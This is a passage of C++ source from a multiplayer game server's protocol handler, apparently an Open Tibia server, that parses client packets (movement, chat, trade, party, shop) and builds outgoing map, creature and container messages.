zstep; nz += zstep) GetFloorDescription(msg, x, y, nz, width, height, z - nz, skip); if(skip >= 0) { msg->AddByte(skip); msg->AddByte(0xFF); //cc += skip; } } void ProtocolGame::GetFloorDescription(NetworkMessage_ptr msg, int32_t x, int32_t y, int32_t z, int32_t width, int32_t height, int32_t offset, int32_t& skip) { Tile* tile = NULL; for(int32_t nx = 0; nx < width; nx++) { for(int32_t ny = 0; ny < height; ny++) { if((tile = g_game.getTile(Position(x + nx + offset, y + ny + offset, z)))) { if(skip >= 0) { msg->AddByte(skip); msg->AddByte(0xFF); } skip = 0; GetTileDescription(tile, msg); } else { ++skip; if(skip == 0xFF) { msg->AddByte(0xFF); msg->AddByte(0xFF); skip = -1; } } } } } void ProtocolGame::checkCreatureAsKnown(uint32_t id, bool& known, uint32_t& removedKnown) { // loop through the known creature list and check if the given creature is in for(std::list<uint32_t>::iterator it = knownCreatureList.begin(); it != knownCreatureList.end(); ++it) { if((*it) != id) continue; // know... make the creature even more known... knownCreatureList.erase(it); knownCreatureList.push_back(id); known = true; return; } // ok, he is unknown... known = false; // ... but not in future knownCreatureList.push_back(id); // too many known creatures? if(knownCreatureList.size() > 250) { // lets try to remove one from the end of the list Creature* c = NULL; for(int32_t n = 0; n < 250; n++) { removedKnown = knownCreatureList.front(); if(!(c = g_game.getCreatureByID(removedKnown)) || !canSee(c)) break; // this creature we can't remove, still in sight, so back to the end knownCreatureList.pop_front(); knownCreatureList.push_back(removedKnown); } // hopefully we found someone to remove :S, we got only 250 tries // if not... lets kick some players with debug errors knownCreatureList.pop_front(); } else // we can cache without problems removedKnown = 0; } bool ProtocolGame::canSee(const Creature* c) const { return !c->isRemoved() && player->canSeeCreature(c) && canSee(c->getPosition()); } bool ProtocolGame::canSee(const Position& pos) const { return canSee(pos.x, pos.y, pos.z); } bool ProtocolGame::canSee(uint16_t x, uint16_t y, uint16_t z) const { #ifdef __DEBUG__ if(z < 0 || z >= MAP_MAX_LAYERS) std::cout << "[Warning - ProtocolGame::canSee] Z-value is out of range!" << std::endl; #endif const Position& myPos = player->getPosition(); if(myPos.z <= 7) { //we are on ground level or above (7 -> 0), view is from 7 -> 0 if(z > 7) return false; } else if(myPos.z >= 8 && std::abs(myPos.z - z) > 2) //we are underground (8 -> 15), view is +/- 2 from the floor we stand on return false; //negative offset means that the action taken place is on a lower floor than ourself int32_t offsetz = myPos.z - z; return ((x >= myPos.x - 8 + offsetz) && (x <= myPos.x + 9 + offsetz) && (y >= myPos.y - 6 + offsetz) && (y <= myPos.y + 7 + offsetz)); } //********************** Parse methods *******************************// void ProtocolGame::parseLogout(NetworkMessage& msg) { Dispatcher::getInstance().addTask(createTask(boost::bind(&ProtocolGame::logout, this, true, false))); } void ProtocolGame::parseCreatePrivateChannel(NetworkMessage& msg) { addGameTask(&Game::playerCreatePrivateChannel, player->getID()); } void ProtocolGame::parseChannelInvite(NetworkMessage& msg) { const std::string name = msg.GetString(); addGameTask(&Game::playerChannelInvite, player->getID(), name); } void ProtocolGame::parseChannelExclude(NetworkMessage& msg) { const std::string name = msg.GetString(); addGameTask(&Game::playerChannelExclude, player->getID(), name); } void ProtocolGame::parseGetChannels(NetworkMessage& msg) { addGameTask(&Game::playerRequestChannels, player->getID()); } void ProtocolGame::parseOpenChannel(NetworkMessage& msg) { uint16_t channelId = msg.GetU16(); addGameTask(&Game::playerOpenChannel, player->getID(), channelId); } void ProtocolGame::parseCloseChannel(NetworkMessage& msg) { uint16_t channelId = msg.GetU16(); addGameTask(&Game::playerCloseChannel, player->getID(), channelId); } void ProtocolGame::parseOpenPriv(NetworkMessage& msg) { const std::string receiver = msg.GetString(); addGameTask(&Game::playerOpenPrivateChannel, player->getID(), receiver); } void ProtocolGame::parseProcessRuleViolation(NetworkMessage& msg) { const std::string reporter = msg.GetString(); addGameTask(&Game::playerProcessRuleViolation, player->getID(), reporter); } void ProtocolGame::parseCloseRuleViolation(NetworkMessage& msg) { const std::string reporter = msg.GetString(); addGameTask(&Game::playerCloseRuleViolation, player->getID(), reporter); } void ProtocolGame::parseCancelRuleViolation(NetworkMessage& msg) { addGameTask(&Game::playerCancelRuleViolation, player->getID()); } void ProtocolGame::parseCloseNpc(NetworkMessage& msg) { addGameTask(&Game::playerCloseNpcChannel, player->getID()); } void ProtocolGame::parseCancelMove(NetworkMessage& msg) { addGameTask(&Game::playerCancelAttackAndFollow, player->getID()); } void ProtocolGame::parseReceivePing(NetworkMessage& msg) { addGameTask(&Game::playerReceivePing, player->getID()); } void ProtocolGame::parseAutoWalk(NetworkMessage& msg) { // first we get all directions... std::list<Direction> path; size_t dirCount = msg.GetByte(); for(size_t i = 0; i < dirCount; ++i) { uint8_t rawDir = msg.GetByte(); Direction dir = SOUTH; switch(rawDir) { case 1: dir = EAST; break; case 2: dir = NORTHEAST; break; case 3: dir = NORTH; break; case 4: dir = NORTHWEST; break; case 5: dir = WEST; break; case 6: dir = SOUTHWEST; break; case 7: dir = SOUTH; break; case 8: dir = SOUTHEAST; break; default: continue; } path.push_back(dir); } addGameTask(&Game::playerAutoWalk, player->getID(), path); } void ProtocolGame::parseMove(NetworkMessage& msg, Direction dir) { addGameTask(&Game::playerMove, player->getID(), dir); } void ProtocolGame::parseTurn(NetworkMessage& msg, Direction dir) { addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerTurn, player->getID(), dir); } void ProtocolGame::parseRequestOutfit(NetworkMessage& msg) { addGameTask(&Game::playerRequestOutfit, player->getID()); } void ProtocolGame::parseSetOutfit(NetworkMessage& msg) { Outfit_t newOutfit = player->defaultOutfit; if(g_config.getBool(ConfigManager::ALLOW_CHANGEOUTFIT)) newOutfit.lookType = msg.GetU16(); else msg.SkipBytes(2); if(g_config.getBool(ConfigManager::ALLOW_CHANGECOLORS)) { newOutfit.lookHead = msg.GetByte(); newOutfit.lookBody = msg.GetByte(); newOutfit.lookLegs = msg.GetByte(); newOutfit.lookFeet = msg.GetByte(); } else msg.SkipBytes(4); if(g_config.getBool(ConfigManager::ALLOW_CHANGEADDONS)) newOutfit.lookAddons = msg.GetByte(); else msg.SkipBytes(1); addGameTask(&Game::playerChangeOutfit, player->getID(), newOutfit); } void ProtocolGame::parseUseItem(NetworkMessage& msg) { Position pos = msg.GetPosition(); uint16_t spriteId = msg.GetSpriteId(); int16_t stackpos = msg.GetByte(); uint8_t index = msg.GetByte(); bool isHotkey = (pos.x == 0xFFFF && !pos.y && !pos.z); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerUseItem, player->getID(), pos, stackpos, index, spriteId, isHotkey); } void ProtocolGame::parseUseItemEx(NetworkMessage& msg) { Position fromPos = msg.GetPosition(); uint16_t fromSpriteId = msg.GetSpriteId(); int16_t fromStackpos = msg.GetByte(); Position toPos = msg.GetPosition(); uint16_t toSpriteId = msg.GetU16(); int16_t toStackpos = msg.GetByte(); bool isHotkey = (fromPos.x == 0xFFFF && !fromPos.y && !fromPos.z); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerUseItemEx, player->getID(), fromPos, fromStackpos, fromSpriteId, toPos, toStackpos, toSpriteId, isHotkey); } void ProtocolGame::parseBattleWindow(NetworkMessage& msg) { Position fromPos = msg.GetPosition(); uint16_t spriteId = msg.GetSpriteId(); int16_t fromStackpos = msg.GetByte(); uint32_t creatureId = msg.GetU32(); bool isHotkey = (fromPos.x == 0xFFFF && !fromPos.y && !fromPos.z); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerUseBattleWindow, player->getID(), fromPos, fromStackpos, creatureId, spriteId, isHotkey); } void ProtocolGame::parseCloseContainer(NetworkMessage& msg) { uint8_t cid = msg.GetByte(); addGameTask(&Game::playerCloseContainer, player->getID(), cid); } void ProtocolGame::parseUpArrowContainer(NetworkMessage& msg) { uint8_t cid = msg.GetByte(); addGameTask(&Game::playerMoveUpContainer, player->getID(), cid); } void ProtocolGame::parseUpdateTile(NetworkMessage& msg) { Position pos = msg.GetPosition(); //addGameTask(&Game::playerUpdateTile, player->getID(), pos); } void ProtocolGame::parseUpdateContainer(NetworkMessage& msg) { uint8_t cid = msg.GetByte(); addGameTask(&Game::playerUpdateContainer, player->getID(), cid); } void ProtocolGame::parseThrow(NetworkMessage& msg) { Position fromPos = msg.GetPosition(); uint16_t spriteId = msg.GetSpriteId(); int16_t fromStackpos = msg.GetByte(); Position toPos = msg.GetPosition(); uint8_t count = msg.GetByte(); if(toPos != fromPos) addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerMoveThing, player->getID(), fromPos, spriteId, fromStackpos, toPos, count); } void ProtocolGame::parseLookAt(NetworkMessage& msg) { Position pos = msg.GetPosition(); uint16_t spriteId = msg.GetSpriteId(); int16_t stackpos = msg.GetByte(); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerLookAt, player->getID(), pos, spriteId, stackpos); } void ProtocolGame::parseSay(NetworkMessage& msg) { std::string receiver; uint16_t channelId = 0; SpeakClasses type = (SpeakClasses)msg.GetByte(); switch(type) { case SPEAK_PRIVATE: case SPEAK_PRIVATE_RED: case SPEAK_RVR_ANSWER: receiver = msg.GetString(); break; case SPEAK_CHANNEL_Y: case SPEAK_CHANNEL_RN: case SPEAK_CHANNEL_RA: channelId = msg.GetU16(); break; default: break; } const std::string text = msg.GetString(); if(text.length() > 255) //client limit { std::stringstream s; s << text.length(); Logger::getInstance()->eFile("bots/" + player->getName() + ".log", "Attempt to send message with size " + s.str() + " - client is limited to 255 characters.", true); return; } addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerSay, player->getID(), channelId, type, receiver, text); } void ProtocolGame::parseFightModes(NetworkMessage& msg) { uint8_t rawFightMode = msg.GetByte(); //1 - offensive, 2 - balanced, 3 - defensive uint8_t rawChaseMode = msg.GetByte(); //0 - stand while fightning, 1 - chase opponent uint8_t rawSecureMode = msg.GetByte(); //0 - can't attack unmarked, 1 - can attack unmarked chaseMode_t chaseMode = CHASEMODE_STANDSTILL; if(rawChaseMode == 1) chaseMode = CHASEMODE_FOLLOW; fightMode_t fightMode = FIGHTMODE_ATTACK; if(rawFightMode == 2) fightMode = FIGHTMODE_BALANCED; else if(rawFightMode == 3) fightMode = FIGHTMODE_DEFENSE; secureMode_t secureMode = SECUREMODE_OFF; if(rawSecureMode == 1) secureMode = SECUREMODE_ON; addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerSetFightModes, player->getID(), fightMode, chaseMode, secureMode); } void ProtocolGame::parseAttack(NetworkMessage& msg) { uint32_t creatureId = msg.GetU32(); addGameTask(&Game::playerSetAttackedCreature, player->getID(), creatureId); } void ProtocolGame::parseFollow(NetworkMessage& msg) { uint32_t creatureId = msg.GetU32(); addGameTask(&Game::playerFollowCreature, player->getID(), creatureId); } void ProtocolGame::parseTextWindow(NetworkMessage& msg) { uint32_t windowTextId = msg.GetU32(); const std::string newText = msg.GetString(); addGameTask(&Game::playerWriteItem, player->getID(), windowTextId, newText); } void ProtocolGame::parseHouseWindow(NetworkMessage &msg) { uint8_t doorId = msg.GetByte(); uint32_t id = msg.GetU32(); const std::string text = msg.GetString(); addGameTask(&Game::playerUpdateHouseWindow, player->getID(), doorId, id, text); } void ProtocolGame::parseLookInShop(NetworkMessage &msg) { uint16_t id = msg.GetU16(); uint16_t count = msg.GetByte(); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerLookInShop, player->getID(), id, count); } void ProtocolGame::parsePlayerPurchase(NetworkMessage &msg) { uint16_t id = msg.GetU16(); uint16_t count = msg.GetByte(); uint16_t amount = msg.GetByte(); bool ignoreCap = msg.GetByte(); bool inBackpacks = msg.GetByte(); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerPurchaseItem, player->getID(), id, count, amount, ignoreCap, inBackpacks); } void ProtocolGame::parsePlayerSale(NetworkMessage &msg) { uint16_t id = msg.GetU16(); uint16_t count = msg.GetByte(); uint16_t amount = msg.GetByte(); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerSellItem, player->getID(), id, count, amount); } void ProtocolGame::parseCloseShop(NetworkMessage &msg) { addGameTask(&Game::playerCloseShop, player->getID()); } void ProtocolGame::parseRequestTrade(NetworkMessage& msg) { Position pos = msg.GetPosition(); uint16_t spriteId = msg.GetSpriteId(); int16_t stackpos = msg.GetByte(); uint32_t playerId = msg.GetU32(); addGameTask(&Game::playerRequestTrade, player->getID(), pos, stackpos, playerId, spriteId); } void ProtocolGame::parseAcceptTrade(NetworkMessage& msg) { addGameTask(&Game::playerAcceptTrade, player->getID()); } void ProtocolGame::parseLookInTrade(NetworkMessage& msg) { bool counter = msg.GetByte(); int32_t index = msg.GetByte(); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerLookInTrade, player->getID(), counter, index); } void ProtocolGame::parseCloseTrade() { addGameTask(&Game::playerCloseTrade, player->getID()); } void ProtocolGame::parseAddVip(NetworkMessage& msg) { const std::string name = msg.GetString(); if(name.size() > 32) return; addGameTask(&Game::playerRequestAddVip, player->getID(), name); } void ProtocolGame::parseRemoveVip(NetworkMessage& msg) { uint32_t guid = msg.GetU32(); addGameTask(&Game::playerRequestRemoveVip, player->getID(), guid); } void ProtocolGame::parseRotateItem(NetworkMessage& msg) { Position pos = msg.GetPosition(); uint16_t spriteId = msg.GetSpriteId(); int16_t stackpos = msg.GetByte(); addGameTaskTimed(DISPATCHER_TASK_EXPIRATION, &Game::playerRotateItem, player->getID(), pos, stackpos, spriteId); } void ProtocolGame::parseDebugAssert(NetworkMessage& msg) { if(m_debugAssertSent) return; std::stringstream s; s << "----- " << formatDate() << " - " << player->getName() << " (" << convertIPAddress(getIP()) << ") -----" << std::endl << msg.GetString() << std::endl << msg.GetString() << std::endl << msg.GetString() << std::endl << msg.GetString() << std::endl << std::endl; m_debugAssertSent = true; Logger::getInstance()->iFile(LOGFILE_CLIENT_ASSERTION, s.str(), false); } void ProtocolGame::parseBugReport(NetworkMessage& msg) { std::string comment = msg.GetString(); addGameTask(&Game::playerReportBug, player->getID(), comment); } void ProtocolGame::parseInviteToParty(NetworkMessage& msg) { uint32_t targetId = msg.GetU32(); addGameTask(&Game::playerInviteToParty, player->getID(), targetId); } void ProtocolGame::parseJoinParty(NetworkMessage& msg) { uint32_t targetId = msg.GetU32(); addGameTask(&Game::playerJoinParty, player->getID(), targetId); } void ProtocolGame::parseRevokePartyInvite(NetworkMessage& msg) { uint32_t targetId = msg.GetU32(); addGameTask(&Game::playerRevokePartyInvitation, player->getID(), targetId); } void ProtocolGame::parsePassPartyLeadership(NetworkMessage& msg) { uint32_t targetId = msg.GetU32(); addGameTask(&Game::playerPassPartyLeadership, player->getID(), targetId); } void ProtocolGame::parseLeaveParty(NetworkMessage& msg) { addGameTask(&Game::playerLeaveParty, player->getID()); } void ProtocolGame::parseSharePartyExperience(NetworkMessage& msg) { bool activate = msg.GetByte(); uint8_t unknown = msg.GetByte(); //TODO: find out what is this byte addGameTask(&Game::playerSharePartyExperience, player->getID(), activate, unknown); } void ProtocolGame::parseQuests(NetworkMessage& msg) { addGameTask(&Game::playerQuests, player->getID()); } void ProtocolGame::parseQuestInfo(NetworkMessage& msg) { uint16_t questId = msg.GetU16(); addGameTask(&Game::playerQuestInfo, player->getID(), questId); } void ProtocolGame::parseViolationWindow(NetworkMessage& msg) { std::string target = msg.GetString(); uint8_t reason = msg.GetByte(); ViolationAction_t action = (ViolationAction_t)msg.GetByte(); std::string comment = msg.GetString(); std::string statement = msg.GetString(); uint32_t statementId = (uint32_t)msg.GetU16(); bool ipBanishment = msg.GetByte(); addGameTask(&Game::playerViolationWindow, player->getID(), target, reason, action, comment, statement, statementId, ipBanishment); } //********************** Send methods *******************************// void ProtocolGame::sendOpenPrivateChannel(const std::string& receiver) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xAD); msg->AddString(receiver); } } void ProtocolGame::sendCreatureOutfit(const Creature* creature, const Outfit_t& outfit) { if(!canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x8E); msg->AddU32(creature->getID()); AddCreatureOutfit(msg, creature, outfit); } } void ProtocolGame::sendCreatureLight(const Creature* creature) { if(!canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddCreatureLight(msg, creature); } } void ProtocolGame::sendWorldLight(const LightInfo& lightInfo) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddWorldLight(msg, lightInfo); } } void ProtocolGame::sendCreatureShield(const Creature* creature) { if(!canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x91); msg->AddU32(creature->getID()); msg->AddByte(player->getPartyShield(creature)); } } void ProtocolGame::sendCreatureSkull(const Creature* creature) { if(!canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x90); msg->AddU32(creature->getID()); msg->AddByte(player->getSkullClient(creature)); } } void ProtocolGame::sendCreatureSquare(const Creature* creature, SquareColor_t color) { if(!canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x86); msg->AddU32(creature->getID()); msg->AddByte((uint8_t)color); } } void ProtocolGame::sendTutorial(uint8_t tutorialId) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xDC); msg->AddByte(tutorialId); } } void ProtocolGame::sendAddMarker(const Position& pos, MapMarks_t markType, const std::string& desc) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xDD); msg->AddPosition(pos); msg->AddByte(markType); msg->AddString(desc); } } void ProtocolGame::sendReLoginWindow() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x28); } } void ProtocolGame::sendStats() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddPlayerStats(msg); } } void ProtocolGame::sendTextMessage(MessageClasses mClass, const std::string& message) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddTextMessage(msg, mClass, message); } } void ProtocolGame::sendClosePrivate(uint16_t channelId) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); if(channelId == CHANNEL_GUILD || channelId == CHANNEL_PARTY) g_chat.removeUserFromChannel(player, channelId); msg->AddByte(0xB3); msg->AddU16(channelId); } } void ProtocolGame::sendCreatePrivateChannel(uint16_t channelId, const std::string& channelName) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xB2); msg->AddU16(channelId); msg->AddString(channelName); } } void ProtocolGame::sendChannelsDialog() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xAB); ChannelList list = g_chat.getChannelList(player); msg->AddByte(list.size()); for(ChannelList::iterator it = list.begin(); it != list.end(); ++it) { if(ChatChannel* channel = (*it)) { msg->AddU16(channel->getId()); msg->AddString(channel->getName()); } } } } void ProtocolGame::sendChannel(uint16_t channelId, const std::string& channelName) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xAC); msg->AddU16(channelId); msg->AddString(channelName); } } void ProtocolGame::sendRuleViolationsChannel(uint16_t channelId) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xAE); msg->AddU16(channelId); for(RuleViolationsMap::const_iterator it = g_game.getRuleViolations().begin(); it != g_game.getRuleViolations().end(); ++it) { RuleViolation& rvr = *it->second; if(rvr.isOpen && rvr.reporter) AddCreatureSpeak(msg, rvr.reporter, SPEAK_RVR_CHANNEL, rvr.text, channelId, rvr.time); } } } void ProtocolGame::sendRemoveReport(const std::string& name) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xAF); msg->AddString(name); } } void ProtocolGame::sendRuleViolationCancel(const std::string& name) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xB0); msg->AddString(name); } } void ProtocolGame::sendLockRuleViolation() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xB1); } } void ProtocolGame::sendIcons(int32_t icons) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xA2); msg->AddU16(icons); } } void ProtocolGame::sendContainer(uint32_t cid, const Container* container, bool hasParent) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x6E); msg->AddByte(cid); msg->AddItemId(container); msg->AddString(container->getName()); msg->AddByte(container->capacity()); msg->AddByte(hasParent ? 0x01 : 0x00); msg->AddByte(std::min(container->size(), (uint32_t)255)); ItemList::const_iterator cit = container->getItems(); for(uint32_t i = 0; cit != container->getEnd() && i < 255; ++cit, ++i) msg->AddItem(*cit); } } void ProtocolGame::sendShop(const ShopInfoList& shop) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x7A); msg->AddByte(std::min(shop.size(), (size_t)255)); ShopInfoList::const_iterator it = shop.begin(); for(uint32_t i = 0; it != shop.end() && i < 255; ++it, ++i) AddShopItem(msg, (*it)); } } void ProtocolGame::sendCloseShop() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x7C); } } void ProtocolGame::sendGoods(const ShopInfoList& shop) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x7B); msg->AddU32(g_game.getMoney(player)); std::map<uint32_t, uint32_t> goodsMap; if(shop.size() >= 5) { for(ShopInfoList::const_iterator sit = shop.begin(); sit != shop.end(); ++sit) { if(sit->sellPrice < 0) continue; int8_t subType = -1; if(sit->subType) { const ItemType& it = Item::items[sit->itemId]; if(it.hasSubType() && !it.stackable) subType = sit->subType; } uint32_t count = player->__getItemTypeCount(sit->itemId, subType); if(count > 0) goodsMap[sit->itemId] = count; } } else { std::map<uint32_t, uint32_t> tmpMap; player->__getAllItemTypeCount(tmpMap); for(ShopInfoList::const_iterator sit = shop.begin(); sit != shop.end(); ++sit) { if(sit->sellPrice < 0) continue; int8_t subType = -1; if(sit->subType) { const ItemType& it = Item::items[sit->itemId]; if(it.hasSubType() && !it.stackable) subType = sit->subType; } if(subType != -1) { uint32_t count = player->__getItemTypeCount(sit->itemId, subType); if(count > 0) goodsMap[sit->itemId] = count; } else goodsMap[sit->itemId] = tmpMap[sit->itemId]; } } msg->AddByte(std::min(goodsMap.size(), (size_t)255)); std::map<uint32_t, uint32_t>::const_iterator it = goodsMap.begin(); for(uint32_t i = 0; it != goodsMap.end() && i < 255; ++it, ++i) { msg->AddItemId(it->first); msg->AddByte(std::min(it->second, (uint32_t)255)); } } } void ProtocolGame::sendTradeItemRequest(const Player* player, const Item* item, bool ack) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); if(ack) msg->AddByte(0x7D); else msg->AddByte(0x7E); msg->AddString(player->getName()); if(const Container* container = item->getContainer()) { msg->AddByte(container->getItemHoldingCount() + 1); msg->AddItem(item); for(ContainerIterator it = container->begin(); it != container->end(); ++it) msg->AddItem(*it); } else { msg->AddByte(1); msg->AddItem(item); } } } void ProtocolGame::sendCloseTrade() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x7F); } } void ProtocolGame::sendCloseContainer(uint32_t cid) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x6F); msg->AddByte(cid); } } void ProtocolGame::sendCreatureTurn(const Creature* creature, int16_t stackpos) { if(stackpos >= 10 || !canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x6B); msg->AddPosition(creature->getPosition()); msg->AddByte(stackpos); msg->AddU16(0x63); /*99*/ msg->AddU32(creature->getID()); msg->AddByte(creature->getDirection()); } } void ProtocolGame::sendCreatureSay(const Creature* creature, SpeakClasses type, const std::string& text, Position* pos/* = NULL*/) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddCreatureSpeak(msg, creature, type, text, 0, 0, pos); } } void ProtocolGame::sendToChannel(const Creature* creature, SpeakClasses type, const std::string& text, uint16_t channelId, uint32_t time /*= 0*/) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddCreatureSpeak(msg, creature, type, text, channelId, time); } } void ProtocolGame::sendCancel(const std::string& message) { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddTextMessage(msg, MSG_STATUS_SMALL, message); } } void ProtocolGame::sendCancelTarget() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xA3); } } void ProtocolGame::sendChangeSpeed(const Creature* creature, uint32_t speed) { if(!canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x8F); msg->AddU32(creature->getID()); msg->AddU16(speed); } } void ProtocolGame::sendCancelWalk() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0xB5); msg->AddByte(player->getDirection()); } } void ProtocolGame::sendSkills() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddPlayerSkills(msg); } } void ProtocolGame::sendPing() { NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x1E); } } void ProtocolGame::sendDistanceShoot(const Position& from, const Position& to, uint8_t type) { if(type > SHOOT_EFFECT_LAST || (!canSee(from) && !canSee(to))) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddDistanceShoot(msg, from, to, type); } } void ProtocolGame::sendMagicEffect(const Position& pos, uint8_t type) { if(type > MAGIC_EFFECT_LAST || !canSee(pos)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddMagicEffect(msg, pos, type); } } void ProtocolGame::sendAnimatedText(const Position& pos, uint8_t color, std::string text) { if(!canSee(pos)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddAnimatedText(msg, pos, color, text); } } void ProtocolGame::sendCreatureHealth(const Creature* creature) { if(!canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddCreatureHealth(msg, creature); } } void ProtocolGame::sendFYIBox(const std::string& message) { if(message.empty() || message.length() > 1018) //Prevent client debug when message is empty or length is > 1018 (not confirmed) { std::cout << "[Warning - ProtocolGame::sendFYIBox] Trying to send an empty or too huge message." << std::endl; return; } NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x15); msg->AddString(message); } } //tile void ProtocolGame::sendAddTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item) { if(!canSee(pos)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); AddTileItem(msg, pos, stackpos, item); } } void ProtocolGame::sendUpdateTileItem(const Tile* tile, const Position& pos, uint32_t stackpos, const Item* item) { if(!canSee(pos)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); UpdateTileItem(msg, pos, stackpos, item); } } void ProtocolGame::sendRemoveTileItem(const Tile* tile, const Position& pos, uint32_t stackpos) { if(!canSee(pos)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); RemoveTileItem(msg, pos, stackpos); } } void ProtocolGame::sendUpdateTile(const Tile* tile, const Position& pos) { if(!canSee(pos)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(msg) { TRACK_MESSAGE(msg); msg->AddByte(0x69); msg->AddPosition(pos); if(tile) { GetTileDescription(tile, msg); msg->AddByte(0x00); msg->AddByte(0xFF); } else { msg->AddByte(0x01); msg->AddByte(0xFF); } } } void ProtocolGame::sendAddCreature(const Creature* creature, const Position& pos, uint32_t stackpos) { if(!canSee(creature)) return; NetworkMessage_ptr msg = getOutputBuffer(); if(!msg) return; TRACK_MESSAGE(msg); if(creature != player) { AddTileCreature(msg, pos, stackpos, creature); return; } msg->AddByte(0x0A); msg->AddU32(player->getID()); msg->AddU16(0x32); msg->AddByte(player->hasFlag(PlayerFlag_CanReportBugs)); if(Group* group = player->getGroup()) { int32_t reasons = group->getViolationReasons(); if(reasons > 1) { msg->AddByte(0x0B); for(int32_t i = 0; i < 20; ++i) { if(i < 4) msg->AddByte(group->getNameViolationFlags()); else if(i < reasons) msg->AddByte(group->getStatementViolationFlags()); else msg->AddByte(0x00); } } } AddMapDescription(msg, pos); for(int32_t i = SLOT_FIRST; i < SLOT_LAST; ++i) AddInventoryItem(msg, (slots_t)i, player->getInventoryItem((slots_t)i)); AddPlayerStats(msg); AddPlayerSkills(msg); //gameworld light-settings LightInfo lightInfo; g_game.getWorldLightInfo(lightInfo); 